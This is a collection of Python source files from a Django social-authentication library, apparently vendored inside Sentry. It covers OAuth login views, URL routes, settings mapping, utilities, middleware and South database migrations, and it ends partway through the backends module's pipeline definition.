    if backend.uses_redirect:
        return HttpResponseRedirect(backend.auth_url())
    else:
        return HttpResponse(backend.auth_html(),
                            content_type='text/html;charset=UTF-8')


def complete_process(request, backend, *args, **kwargs):
    """Authentication complete process"""
    # pop redirect value before the session is trashed on login()
    redirect_value = (
        request.session.get(REDIRECT_FIELD_NAME, '') or
        request.REQUEST.get(REDIRECT_FIELD_NAME, '')
    )
    user = auth_complete(request, backend, *args, **kwargs)

    if isinstance(user, HttpResponse):
        return user

    if not user and request.user.is_authenticated():
        return HttpResponseRedirect(redirect_value)

    msg = None
    if user:
        if getattr(user, 'is_active', True):
            # catch is_new flag before login() might reset the instance
            is_new = getattr(user, 'is_new', False)
            login(request, user)
            # user.social_user is the used UserSocialAuth instance defined
            # in authenticate process
            social_user = user.social_user
            if redirect_value:
                request.session[REDIRECT_FIELD_NAME] = (
                    redirect_value or DEFAULT_REDIRECT)

            if setting('SOCIAL_AUTH_SESSION_EXPIRATION', True):
                # Set session expiration date if present and not disabled by
                # setting. Use last social-auth instance for current provider,
                # users can associate several accounts with a same provider.
                expiration = social_user.expiration_datetime()
                if expiration:
                    try:
                        request.session.set_expiry(expiration)
                    except OverflowError:
                        # Handle django time zone overflow, set default expiry.
                        request.session.set_expiry(None)

            # store last login backend name in session
            request.session['social_auth_last_login_backend'] = social_user.provider

            # Remove possible redirect URL from session, if this is a new
            # account, send him to the new-users-page if defined.
            new_user_redirect = backend_setting(
                backend, 'SOCIAL_AUTH_NEW_USER_REDIRECT_URL')
            if new_user_redirect and is_new:
                url = new_user_redirect
            else:
                url = (
                    redirect_value or
                    backend_setting(backend, 'SOCIAL_AUTH_LOGIN_REDIRECT_URL') or
                    DEFAULT_REDIRECT
                )
        else:
            msg = setting('SOCIAL_AUTH_INACTIVE_USER_MESSAGE', None)
            url = backend_setting(backend, 'SOCIAL_AUTH_INACTIVE_USER_URL',
                                  LOGIN_ERROR_URL)
    else:
        msg = setting('LOGIN_ERROR_MESSAGE', None)
        url = backend_setting(backend, 'LOGIN_ERROR_URL', LOGIN_ERROR_URL)
    if msg:
        messages.error(request, msg)

    if redirect_value and redirect_value != url:
        redirect_value = quote(redirect_value)
        if '?' in url:
            url += '&%s=%s' % (REDIRECT_FIELD_NAME, redirect_value)
        else:
            url += '?%s=%s' % (REDIRECT_FIELD_NAME, redirect_value)
    return HttpResponseRedirect(url)


def auth_complete(request, backend, user=None, *args, **kwargs):
    """Complete auth process. Return authenticated user or None."""
    if user and not user.is_authenticated():
        user = None

    if request.session.get(PIPELINE_KEY):
        data = request.session.pop(PIPELINE_KEY)
        kwargs = kwargs.copy()
        if user:
            kwargs['user'] = user
        idx, xargs, xkwargs = backend.from_session_dict(data, request=request,
                                                        *args, **kwargs)
        if 'backend' in xkwargs and \
           xkwargs['backend'].name == backend.AUTH_BACKEND.name:
            return backend.continue_pipeline(pipeline_index=idx,
                                             *xargs, **xkwargs)
    return backend.auth_complete(user=user, request=request, *args, **kwargs)






from __future__ import absolute_import

try:
    from django.conf.urls import patterns, url
except ImportError:
    # for Django version less then 1.4
    from django.conf.urls.defaults import patterns, url

from social_auth.views import auth, complete, disconnect


urlpatterns = patterns('',
    # authentication
    url(r'^associate/(?P<backend>[^/]+)/$', auth,
        name='socialauth_associate'),
    url(r'^associate/complete/(?P<backend>[^/]+)/$', complete,
        name='socialauth_associate_complete'),

    # disconnection
    url(r'^disconnect/(?P<backend>[^/]+)/$', disconnect,
        name='socialauth_disconnect'),
    url(r'^disconnect/(?P<backend>[^/]+)/(?P<association_id>[^/]+)/$',
        disconnect, name='socialauth_disconnect_individual'),
)






from __future__ import absolute_import

from social.strategies.django_strategy import DjangoStrategy


class DSAStrategy(DjangoStrategy):
    settings_map = {
        'BITBUCKET_KEY': 'BITBUCKET_CONSUMER_KEY',
        'BITBUCKET_SECRET': 'BITBUCKET_CONSUMER_SECRET',
        'GITHUB_SECRET': 'GITHUB_API_SECRET',
        'GITHUB_KEY': 'GITHUB_APP_ID',
        'GITHUB_SCOPE': 'GITHUB_EXTENDED_PERMISSIONS',
        'GOOGLE_OAUTH_KEY': 'GOOGLE_CONSUMER_KEY',
        'GOOGLE_OAUTH_SECRET': 'GOOGLE_CONSUMER_SECRET',
        'GOOGLE_OAUTH_SCOPE': 'GOOGLE_OAUTH_EXTRA_SCOPE',
        'GOOGLE_OAUTH2_KEY': 'GOOGLE_OAUTH2_CLIENT_KEY',
        'GOOGLE_OAUTH2_SECRET': 'GOOGLE_OAUTH2_CLIENT_SECRET',
        'GOOGLE_OAUTH2_SCOPE': 'GOOGLE_OAUTH_EXTRA_SCOPE',
        'TRELLO_KEY': 'TRELLO_CONSUMER_KEY',
        'TRELLO_SECRET': 'TRELLO_CONSUMER_SECRET',
        'ON_HTTPS': 'SOCIAL_AUTH_REDIRECT_IS_HTTPS',
    }

    def get_setting(self, name):
        if name in self.settings_map:
            # Try DSA setting name from map defined above
            try:
                return super(DSAStrategy, self).get_setting(
                    self.settings_map[name]
                )
            except (AttributeError, KeyError):
                pass
        # Fallback to PSA setting name
        return super(DSAStrategy, self).get_setting(name)

    def get_pipeline(self):
        pipeline = super(DSAStrategy, self).get_pipeline()
        pipeline_renamed = []
        for entry in pipeline:
            if entry.startswith('social_auth.backends.pipeline.social'):
                entry = entry.replace(
                    'social_auth.backends.pipeline.social',
                    'social_auth.backends.pipeline.sauth'
                )
            pipeline_renamed.append(entry)
        return pipeline_renamed






from __future__ import absolute_import

version = (0, 7, 28)

__version__ = '.'.join(map(str, version))






from __future__ import absolute_import

import six

from django.core.exceptions import ValidationError
from django.db import models
from django.utils.encoding import smart_text
from django.utils import simplejson


@six.add_metaclass(models.SubfieldBase)
class JSONField(models.TextField):
    """Simple JSON field that stores python structures as JSON strings
    on database.
    """
    def to_python(self, value):
        """
        Convert the input JSON value into python structures, raises
        django.core.exceptions.ValidationError if the data can't be converted.
        """
        if self.blank and not value:
            return None
        if isinstance(value, six.string_types):
            try:
                return simplejson.loads(value)
            except Exception as e:
                raise ValidationError(str(e))
        else:
            return value

    def validate(self, value, model_instance):
        """Check value is a valid JSON string, raise ValidationError on
        error."""
        if isinstance(value, six.string_types):
            super(JSONField, self).validate(value, model_instance)
            try:
                simplejson.loads(value)
            except Exception as e:
                raise ValidationError(str(e))

    def get_prep_value(self, value):
        """Convert value to JSON string before save"""
        try:
            return simplejson.dumps(value)
        except Exception as e:
            raise ValidationError(str(e))

    def value_to_string(self, obj):
        """Return value from object converted to string properly"""
        return smart_text(self.get_prep_value(self._get_val_from_obj(obj)))

    def value_from_object(self, obj):
        """Return value dumped to string."""
        return self.get_prep_value(self._get_val_from_obj(obj))


try:
    from south.modelsinspector import add_introspection_rules
    add_introspection_rules([], ["^social_auth\.fields\.JSONField"])
except:
    pass






from __future__ import absolute_import

import random
import logging

from cgi import parse_qsl
from collections import defaultdict
from django.conf import settings
from django.db.models import Model
from django.contrib.contenttypes.models import ContentType
from django.utils.functional import empty, SimpleLazyObject
from django.utils.importlib import import_module
from six.moves.urllib.parse import urlencode, urlparse, urlunparse
from six.moves.urllib.request import urlopen

try:
    random = random.SystemRandom()
    using_sysrandom = True
except NotImplementedError:
    using_sysrandom = False


LEAVE_CHARS = getattr(settings, 'SOCIAL_AUTH_LOG_SANITIZE_LEAVE_CHARS', 4)


def sanitize_log_data(secret, data=None, leave_characters=LEAVE_CHARS):
    """
    Clean private/secret data from log statements and other data.

    Assumes data and secret are strings. Replaces all but the first
    `leave_characters` of `secret`, as found in `data`, with '*'.

    If no data is given, all but the first `leave_characters` of secret
    are simply replaced and returned.
    """
    replace_secret = (secret[:leave_characters] +
                      (len(secret) - leave_characters) * '*')

    if data:
        return data.replace(secret, replace_secret)

    return replace_secret


def group_backend_by_type(items, key=lambda x: x):
    """Group items by backend type."""

    # Beware of cyclical imports!
    from social_auth.backends import \
        get_backends, BaseOAuth, BaseOAuth2

    result = defaultdict(list)
    backends = get_backends()

    for item in items:
        backend = backends[key(item)]
        if issubclass(backend, BaseOAuth2):
            result['oauth2'].append(item)
        elif issubclass(backend, BaseOAuth):
            result['oauth'].append(item)
    return dict(result)


def setting(name, default=None):
    """Return setting value for given name or default value."""
    return getattr(settings, name, default)


def backend_setting(backend, name, default=None):
    """
    Looks for setting value following these rules:
        1. Search for <backend_name> prefixed setting
        2. Search for setting given by name
        3. Return default
    """
    backend_name = get_backend_name(backend)
    setting_name = '%s_%s' % (backend_name.upper().replace('-', '_'), name)
    if hasattr(settings, setting_name):
        return setting(setting_name)
    elif hasattr(settings, name):
        return setting(name)
    else:
        return default


logger = None
if not logger:
    logger = logging.getLogger('SocialAuth')
    logger.setLevel(logging.DEBUG)


def log(level, *args, **kwargs):
    """Small wrapper around logger functions."""
    {'debug': logger.debug,
     'error': logger.error,
     'exception': logger.exception,
     'warn': logger.warn}[level](*args, **kwargs)


def model_to_ctype(val):
    """Converts values that are instance of Model to a dictionary
    with enough information to retrieve the instance back later."""
    if isinstance(val, Model):
        val = {
            'pk': val.pk,
            'ctype': ContentType.objects.get_for_model(val).pk
        }
    return val


def ctype_to_model(val):
    """Converts back the instance saved by model_to_ctype function."""
    if isinstance(val, dict) and 'pk' in val and 'ctype' in val:
        ctype = ContentType.objects.get_for_id(val['ctype'])
        ModelClass = ctype.model_class()
        val = ModelClass.objects.get(pk=val['pk'])
    return val


def clean_partial_pipeline(request):
    """Cleans any data for partial pipeline."""
    name = setting('SOCIAL_AUTH_PARTIAL_PIPELINE_KEY', 'partial_pipeline')
    # Check for key to avoid flagging the session as modified unnecessary
    if name in request.session:
        request.session.pop(name, None)


def url_add_parameters(url, params):
    """Adds parameters to URL, parameter will be repeated if already present"""
    if params:
        fragments = list(urlparse(url))
        fragments[4] = urlencode(parse_qsl(fragments[4]) + params.items())
        url = urlunparse(fragments)
    return url


class LazyDict(SimpleLazyObject):
    """Lazy dict initialization."""
    def __getitem__(self, name):
        if self._wrapped is empty:
            self._setup()
        return self._wrapped[name]

    def __setitem__(self, name, value):
        if self._wrapped is empty:
            self._setup()
        self._wrapped[name] = value


def dsa_urlopen(*args, **kwargs):
    """Like urllib2.urlopen but sets a timeout defined by
    SOCIAL_AUTH_URLOPEN_TIMEOUT setting if defined (and not already in
    kwargs)."""
    timeout = setting('SOCIAL_AUTH_URLOPEN_TIMEOUT')
    if timeout and 'timeout' not in kwargs:
        kwargs['timeout'] = timeout
    return urlopen(*args, **kwargs)


def get_backend_name(backend):
    return getattr(getattr(backend, 'AUTH_BACKEND', backend), 'name', None)


def custom_user_frozen_models(user_model):
    migration_name = getattr(settings, 'INITIAL_CUSTOM_USER_MIGRATION',
                             '0001_initial.py')
    if user_model != 'auth.User':
        from south.migration.base import Migrations
        from south.exceptions import NoMigrations
        from south.creator.freezer import freeze_apps
        user_app, user_model = user_model.split('.')
        try:
            user_migrations = Migrations(user_app)
        except NoMigrations:
            extra_model = freeze_apps(user_app)
        else:
            initial_user_migration = user_migrations.migration(migration_name)
            extra_model = initial_user_migration.migration_class().models
    else:
        extra_model = {}
    return extra_model


def module_member(name):
    mod, member = name.rsplit('.', 1)
    module = import_module(mod)
    return getattr(module, member)


if __name__ == '__main__':
    import doctest
    doctest.testmod()






from __future__ import absolute_import

from django.contrib.auth import REDIRECT_FIELD_NAME

from social_auth.models import UserSocialAuth
from social_auth.backends import get_backends
from social_auth.utils import group_backend_by_type, LazyDict

# Note: social_auth_backends, social_auth_by_type_backends and
#       social_auth_by_name_backends don't play nice together.


def social_auth_backends(request):
    """Load Social Auth current user data to context.
    Will add a output from backends_data to context under social_auth key.
    """
    def context_value():
        return backends_data(request.user)
    return {'social_auth': LazyDict(context_value)}


def social_auth_by_type_backends(request):
    """Load Social Auth current user data to context.
    Will add a output from backends_data to context under social_auth key where
    each entry will be grouped by backend type (oauth, oauth2).
    """
    def context_value():
        data = backends_data(request.user)
        data['backends'] = group_backend_by_type(data['backends'])
        data['not_associated'] = group_backend_by_type(data['not_associated'])
        data['associated'] = group_backend_by_type(
            data['associated'],
            key=lambda assoc: assoc.provider
        )
        return data
    return {'social_auth': LazyDict(context_value)}


def social_auth_by_name_backends(request):
    """Load Social Auth current user data to context.
    Will add a social_auth object whose attribute names are the names of each
    provider, e.g. social_auth.facebook would be the facebook association or
    None, depending on the logged in user's current associations. Providers
    with a hyphen have the hyphen replaced with an underscore, e.g.
    google-oauth2 becomes google_oauth2 when referenced in templates.
    """
    def context_value():
        keys = [key for key in get_backends().keys()]
        accounts = dict(zip(keys, [None] * len(keys)))
        user = request.user
        if hasattr(user, 'is_authenticated') and user.is_authenticated():
            accounts.update((assoc.provider, assoc)
                    for assoc in UserSocialAuth.get_social_auth_for_user(user))
        return accounts
    return {'social_auth': LazyDict(context_value)}


def backends_data(user):
    """Return backends data for given user.

    Will return a dict with values:
        associated: UserSocialAuth model instances for currently
                    associated accounts
        not_associated: Not associated (yet) backend names.
        backends: All backend names.

    If user is not authenticated, then first list is empty, and there's no
    difference between the second and third lists.
    """
    available = get_backends().keys()
    values = {'associated': [],
              'not_associated': available,
              'backends': available}

    # user comes from request.user usually, on /admin/ it will be an instance
    # of auth.User and this code will fail if a custom User model was defined
    if hasattr(user, 'is_authenticated') and user.is_authenticated():
        associated = UserSocialAuth.get_social_auth_for_user(user)
        not_associated = list(set(available) -
                              set(assoc.provider for assoc in associated))
        values['associated'] = associated
        values['not_associated'] = not_associated
    return values


def social_auth_login_redirect(request):
    """Load current redirect to context."""
    redirect_value = request.REQUEST.get(REDIRECT_FIELD_NAME)
    if redirect_value:
        redirect_querystring = REDIRECT_FIELD_NAME + '=' + redirect_value
    else:
        redirect_querystring = ''

    return {
        'REDIRECT_FIELD_NAME': REDIRECT_FIELD_NAME,
        'REDIRECT_FIELD_VALUE': redirect_value,
        'redirect_querystring': redirect_querystring
    }






# -*- coding: utf-8 -*-
from __future__ import absolute_import

from django.conf import settings
from django.contrib.messages.api import error, MessageFailure
from django.shortcuts import redirect

from social_auth.exceptions import SocialAuthBaseException
from social_auth.utils import backend_setting, get_backend_name


class SocialAuthExceptionMiddleware(object):
    """Middleware that handles Social Auth AuthExceptions by providing the user
    with a message, logging an error, and redirecting to some next location.

    By default, the exception message itself is sent to the user and they are
    redirected to the location specified in the LOGIN_ERROR_URL setting.

    This middleware can be extended by overriding the get_message or
    get_redirect_uri methods, which each accept request and exception.
    """
    def process_exception(self, request, exception):
        self.backend = self.get_backend(request, exception)
        if self.raise_exception(request, exception):
            return

        if isinstance(exception, SocialAuthBaseException):
            backend_name = get_backend_name(self.backend)
            message = self.get_message(request, exception)
            url = self.get_redirect_uri(request, exception)
            tags = ['social-auth']
            if backend_name:
                tags.append(backend_name)

            try:
                error(request, message, extra_tags=' '.join(tags))
            except MessageFailure:  # messages app is not installed
                url += ('?' in url and '&' or '?') + 'message=' + message
                if backend_name:
                    url += '&backend=' + backend_name
            return redirect(url)

    def get_backend(self, request, exception):
        if not hasattr(self, 'backend'):
            self.backend = (
                getattr(request, 'backend', None)
                or getattr(exception, 'backend', None)
            )
        return self.backend

    def raise_exception(self, request, exception):
        backend = self.backend
        return backend and backend_setting(backend, 'SOCIAL_AUTH_RAISE_EXCEPTIONS')

    def get_message(self, request, exception):
        return unicode(exception)

    def get_redirect_uri(self, request, exception):
        if self.backend is not None:
            return (
                backend_setting(self.backend, 'SOCIAL_AUTH_BACKEND_ERROR_URL')
                or settings.LOGIN_ERROR_URL
            )
        return settings.LOGIN_ERROR_URL






# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration

from django.db import models

from django.conf import settings
from social_auth.utils import custom_user_frozen_models

USER_MODEL = settings.AUTH_USER_MODEL
UID_LENGTH = getattr(settings, 'SOCIAL_AUTH_UID_LENGTH', 255)
NONCE_SERVER_URL_LENGTH = getattr(settings, 'SOCIAL_AUTH_NONCE_SERVER_URL_LENGTH', 255)
ASSOCIATION_SERVER_URL_LENGTH = getattr(settings, 'SOCIAL_AUTH_ASSOCIATION_SERVER_URL_LENGTH', 255)
ASSOCIATION_HANDLE_LENGTH = getattr(settings, 'SOCIAL_AUTH_ASSOCIATION_HANDLE_LENGTH', 255)


class Migration(SchemaMigration):

    def forwards(self, orm):
        # Adding model 'UserSocialAuth'
        db.create_table('social_auth_usersocialauth', (
            ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
            ('user', self.gf('django.db.models.fields.related.ForeignKey')(related_name='social_auth', to=orm[USER_MODEL])),
            ('provider', self.gf('django.db.models.fields.CharField')(max_length=32)),
            ('uid', self.gf('django.db.models.fields.CharField')(max_length=UID_LENGTH)),
            ('extra_data', self.gf('social_auth.fields.JSONField')(default='{}')),
        ))
        db.send_create_signal('social_auth', ['UserSocialAuth'])

        # Adding unique constraint on 'UserSocialAuth', fields ['provider', 'uid']
        db.create_unique('social_auth_usersocialauth', ['provider', 'uid'])

        # Adding model 'Nonce'
        db.create_table('social_auth_nonce', (
            ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
            ('server_url', self.gf('django.db.models.fields.CharField')(max_length=NONCE_SERVER_URL_LENGTH)),
            ('timestamp', self.gf('django.db.models.fields.IntegerField')()),
            ('salt', self.gf('django.db.models.fields.CharField')(max_length=40)),
        ))
        db.send_create_signal('social_auth', ['Nonce'])

        # Adding model 'Association'
        db.create_table('social_auth_association', (
            ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
            ('server_url', self.gf('django.db.models.fields.CharField')(max_length=ASSOCIATION_SERVER_URL_LENGTH)),
            ('handle', self.gf('django.db.models.fields.CharField')(max_length=ASSOCIATION_HANDLE_LENGTH)),
            ('secret', self.gf('django.db.models.fields.CharField')(max_length=255)),
            ('issued', self.gf('django.db.models.fields.IntegerField')()),
            ('lifetime', self.gf('django.db.models.fields.IntegerField')()),
            ('assoc_type', self.gf('django.db.models.fields.CharField')(max_length=64)),
        ))
        db.send_create_signal('social_auth', ['Association'])


    def backwards(self, orm):
        # Removing unique constraint on 'UserSocialAuth', fields ['provider', 'uid']
        db.delete_unique('social_auth_usersocialauth', ['provider', 'uid'])

        # Deleting model 'UserSocialAuth'
        db.delete_table('social_auth_usersocialauth')

        # Deleting model 'Nonce'
        db.delete_table('social_auth_nonce')

        # Deleting model 'Association'
        db.delete_table('social_auth_association')


    models = {
        'auth.group': {
            'Meta': {'object_name': 'Group'},
            'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
            'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
            'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
        },
        'auth.permission': {
            'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
            'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
            'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
            'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
            'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
        },
        'auth.user': {
            'Meta': {'object_name': 'User'},
            'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
            'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
            'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
            'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
            'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
            'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
            'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
            'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
            'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
            'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
            'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
        },
        'contenttypes.contenttype': {
            'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
            'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
            'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
            'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
            'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
        },
        'social_auth.association': {
            'Meta': {'object_name': 'Association'},
            'assoc_type': ('django.db.models.fields.CharField', [], {'max_length': '64'}),
            'handle': ('django.db.models.fields.CharField', [], {'max_length': str(ASSOCIATION_HANDLE_LENGTH)}),
            'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
            'issued': ('django.db.models.fields.IntegerField', [], {}),
            'lifetime': ('django.db.models.fields.IntegerField', [], {}),
            'secret': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
            'server_url': ('django.db.models.fields.CharField', [], {'max_length': str(ASSOCIATION_SERVER_URL_LENGTH)})
        },
        'social_auth.nonce': {
            'Meta': {'object_name': 'Nonce'},
            'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
            'salt': ('django.db.models.fields.CharField', [], {'max_length': '40'}),
            'server_url': ('django.db.models.fields.CharField', [], {'max_length': str(NONCE_SERVER_URL_LENGTH)}),
            'timestamp': ('django.db.models.fields.IntegerField', [], {})
        },
        'social_auth.usersocialauth': {
            'Meta': {'unique_together': "(('provider', 'uid'),)", 'object_name': 'UserSocialAuth'},
            'extra_data': ('social_auth.fields.JSONField', [], {'default': "'{}'"}),
            'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
            'provider': ('django.db.models.fields.CharField', [], {'max_length': '32'}),
            'uid': ('django.db.models.fields.CharField', [], {'max_length': str(UID_LENGTH)}),
            'user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'social_auth'", 'to': "orm['" + USER_MODEL + "']"})
        }
    }
    models.update(custom_user_frozen_models(USER_MODEL))

    complete_apps = ['social_auth']






# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models

from django.conf import settings
from social_auth.utils import custom_user_frozen_models


USER_MODEL = settings.AUTH_USER_MODEL
UID_LENGTH = getattr(settings, 'SOCIAL_AUTH_UID_LENGTH', 255)
NONCE_SERVER_URL_LENGTH = getattr(settings, 'SOCIAL_AUTH_NONCE_SERVER_URL_LENGTH', 255)
ASSOCIATION_SERVER_URL_LENGTH = getattr(settings, 'SOCIAL_AUTH_ASSOCIATION_SERVER_URL_LENGTH', 255)
ASSOCIATION_HANDLE_LENGTH = getattr(settings, 'SOCIAL_AUTH_ASSOCIATION_HANDLE_LENGTH', 255)


class Migration(SchemaMigration):

    def forwards(self, orm):
        # Adding index on 'Nonce', fields ['timestamp']
        db.create_index('social_auth_nonce', ['timestamp'])

        # Adding unique constraint on 'Nonce', fields ['timestamp', 'salt', 'server_url']
        db.create_unique('social_auth_nonce', ['timestamp', 'salt', 'server_url'])

        # Adding index on 'Association', fields ['issued']
        db.create_index('social_auth_association', ['issued'])

        # Adding unique constraint on 'Association', fields ['handle', 'server_url']
        db.create_unique('social_auth_association', ['handle', 'server_url'])

    def backwards(self, orm):
        # Removing unique constraint on 'Association', fields ['handle', 'server_url']
        db.delete_unique('social_auth_association', ['handle', 'server_url'])

        # Removing index on 'Association', fields ['issued']
        db.delete_index('social_auth_association', ['issued'])

        # Removing unique constraint on 'Nonce', fields ['timestamp', 'salt', 'server_url']
        db.delete_unique('social_auth_nonce', ['timestamp', 'salt', 'server_url'])

        # Removing index on 'Nonce', fields ['timestamp']
        db.delete_index('social_auth_nonce', ['timestamp'])


    models = {
        'auth.group': {
            'Meta': {'object_name': 'Group'},
            'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
            'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
            'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
        },
        'auth.permission': {
            'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
            'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
            'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
            'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
            'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
        },
        'auth.user': {
            'Meta': {'object_name': 'User'},
            'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
            'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
            'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
            'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
            'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
            'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
            'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
            'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
            'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
            'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
            'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
            'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
        },
        'contenttypes.contenttype': {
            'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
            'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
            'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
            'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
            'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
        },
        'social_auth.association': {
            'Meta': {'unique_together': "(('server_url', 'handle'),)", 'object_name': 'Association'},
            'assoc_type': ('django.db.models.fields.CharField', [], {'max_length': '64'}),
            'handle': ('django.db.models.fields.CharField', [], {'max_length': str(ASSOCIATION_HANDLE_LENGTH)}),
            'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
            'issued': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}),
            'lifetime': ('django.db.models.fields.IntegerField', [], {}),
            'secret': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
            'server_url': ('django.db.models.fields.CharField', [], {'max_length': str(ASSOCIATION_SERVER_URL_LENGTH)})
        },
        'social_auth.nonce': {
            'Meta': {'unique_together': "(('server_url', 'timestamp', 'salt'),)", 'object_name': 'Nonce'},
            'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
            'salt': ('django.db.models.fields.CharField', [], {'max_length': '40'}),
            'server_url': ('django.db.models.fields.CharField', [], {'max_length': str(NONCE_SERVER_URL_LENGTH)}),
            'timestamp': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'})
        },
        'social_auth.usersocialauth': {
            'Meta': {'unique_together': "(('provider', 'uid'),)", 'object_name': 'UserSocialAuth'},
            'extra_data': ('social_auth.fields.JSONField', [], {'default': "'{}'"}),
            'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
            'provider': ('django.db.models.fields.CharField', [], {'max_length': '32'}),
            'uid': ('django.db.models.fields.CharField', [], {'max_length': str(UID_LENGTH)}),
            'user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'social_auth'", 'to': "orm['" + USER_MODEL + "']"})
        }
    }
    models.update(custom_user_frozen_models(USER_MODEL))

    complete_apps = ['social_auth']












from __future__ import absolute_import






from __future__ import absolute_import






"""
Base backends structures.

This module defines base classes needed to define custom OpenID or OAuth
auth services from third parties. This customs must subclass an Auth and
and Backend class, check current implementation for examples.

Also the modules *must* define a BACKENDS dictionary with the backend name
(which is used for URLs matching) and Auth class, otherwise it won't be
enabled.
"""
from __future__ import absolute_import

import six

from django.contrib.auth import authenticate
from django.utils.importlib import import_module
from django.utils.crypto import get_random_string, constant_time_compare
from six.moves.urllib.error import HTTPError
from six.moves.urllib.request import Request
from six.moves.urllib.parse import urlencode
from social_auth.models import UserSocialAuth
from social_auth.utils import (
    setting, model_to_ctype, ctype_to_model, clean_partial_pipeline,
    url_add_parameters, dsa_urlopen)
from social_auth.exceptions import (
    StopPipeline, AuthFailed, AuthCanceled, AuthUnknownError,
    AuthTokenError, AuthMissingParameter, AuthStateMissing, AuthStateForbidden,
    NotAllowedToDisconnect, BackendError)
from social_auth.backends.utils import build_consumer_oauth_request
from oauth2 import Consumer as OAuthConsumer, Token, Request as OAuthRequest

from sentry.utils import json

PIPELINE = setting('SOCIAL_AUTH_PIPELINE', (
    'social_auth.backends.pipeline.social.social_auth_user',
    # Removed by default since it can be a dangerouse behavior that
    # could lead to accounts take over.
    # 'social_auth.backends.pipeline.associate.associate_by_email',
    'social_auth.backends.pipeline.user.get_username',
    'social_auth.backends.pipeline.user.create_user',
    'social_auth.backends.pipeline.social.associate_user',
    'social_auth.backends.pipeline.social.load_extra_data',
